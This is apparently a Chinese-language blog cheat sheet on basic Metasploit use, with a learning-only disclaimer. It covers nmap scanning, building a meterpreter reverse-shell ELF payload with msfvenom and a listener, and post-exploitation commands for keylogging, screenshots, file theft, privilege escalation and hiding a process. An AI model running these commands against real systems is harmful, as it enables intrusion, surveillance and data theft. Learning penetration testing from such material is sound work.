Metasploit 基本操作

Posted on Edited on In Word count in article: 871 Reading time ≈ 3 mins.

⚠️ 請注意，本範例僅供學習參考，請遵守相關法令，產生之行為與後果將由使用者自行負責

開啟 Metasploit Console

1
msfconsole

初始化 PostgreSQL 資料庫

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 初始化資料庫
# 資料庫設定: /home/[user]/.msf4/database.yml
msfdb init

# 重新設定
msfdb reinit

# 建立資料庫連線
msfdb start

# 停止資料庫連線
msfdb stop

# 查詢資料庫狀態
db_status

nmap 掃描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 更新 nmap
db_nmap --script-updatedb

# 網段主機掃描
db_nmap -sn [CIDR網段]

# 所有端口
db_nmap [IP] -p-

# 指定端口
db_nmap [IP] -p [端口]
db_nmap [IP] -p [起始端口]-[結束端口]
db_nmap [IP] -p [端口1],[端口2]

# 基礎服務掃描
db_nmap -sV -p- [IP]

# OS 識別
db_nmap [IP] -p [端口] -O

# 使用 script 掃描漏洞
# script 路徑: /usr/share/nmap/scripts
db_nmap -sV --script [漏洞script檔] [IP]

# 掃描結果導出
db_nmap [IP] -p [端口] -oN result.txt
db_nmap [IP] -p [端口] -oX result.xml

模組查詢

⭐ 更新可用模組

1
msfupdate

⭐ 顯示可用模組

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 顯示所有可用的輔助模組，用於前期的偵察和目標信息收集
show auxiliary

# 顯示所有可用的漏洞利用模組，用於針對目標系統的已知漏洞進行攻擊
show exploits

# 顯示所有可用的 payload 模組，攻擊成功後在目標系統上執行的代碼
show payloads

# 顯示所有可用的 NOP 生成器，用於填充緩衝區避免其他指令干擾 payload
show nops

# 顯示所有可用的編碼器，用於對 payload 進行編碼躲避檢測
show encoders

# 用於繞過防毒軟體或安全防護機制的技術
show evasion

# 顯示所有可用的後滲透模組，用於取得會話後，在目標系統上進一步執行操作
show post

⭐ 查找模組

1
search [模組名稱或關鍵詞]

⭐ 模組使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 載入模組
use [模組路徑]

# 查看模組詳情
info

# 設置參數
set [參數名] [參數值]

# 查看當前配置
show options

# 啟動
exploit

滲透操作

⭐ 常用會話接口介紹

接口 說明
command shell 獲得一個命令行界面，允許攻擊者在目標系統上執行命令
meterpreter 一種高級的、擴展性強的 payload，提供了豐富的功能，例如文件操作、過程管理、網絡偵查等
vnc 在目標系統上開啟一個 VNC 服務器，允許攻擊者遠程查看和控制目標桌面

⭐ 創建 meterpreter 會話接口的 payload :

1
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=[監聽機IP位置] LPORT=[監聽機端口] -f elf -o payload.elf

⭐ 啟動監聽服務，等待遠端執行 meterpreter payload

1
2
3
4
5
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST [監聽機IP位置]
set LPORT [監聽機端口]
exploit

⭐ 遠端執行 meterpreter payload

1
2
3
4
# 給予執行權限
chmod +x payload.elf
# 執行 payload
./payload.elf

後滲透操作(取得shell後)

獲得會話接口後常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# 列出當前活動會話
sessions -l

# 連接到一個會話
sessions -i [會話ID]

# 獲取系統信息
sysinfo

# 獲取使用者信息
getuid

# 獲取系統信息
getsystem

# 獲取shell
shell

# 鍵盤記錄
keyscan_start、keyscan_stop、keyscan_dump

# 屏幕截圖:
screenshot

# 上傳文件、下載文件
download [遠程文件路徑] [本地目標路徑]
upload [本地文件路徑] [遠程目標路徑]

# 執行命令
execute -f [可執行文件] -H

# 隱藏進程在其他進程中
migrate -N [程式]

# 網絡偵查
run packetrecorder、run arp_scanner

# 當前 session 放置背景執行
background

📜 參考資料

  1. metasploit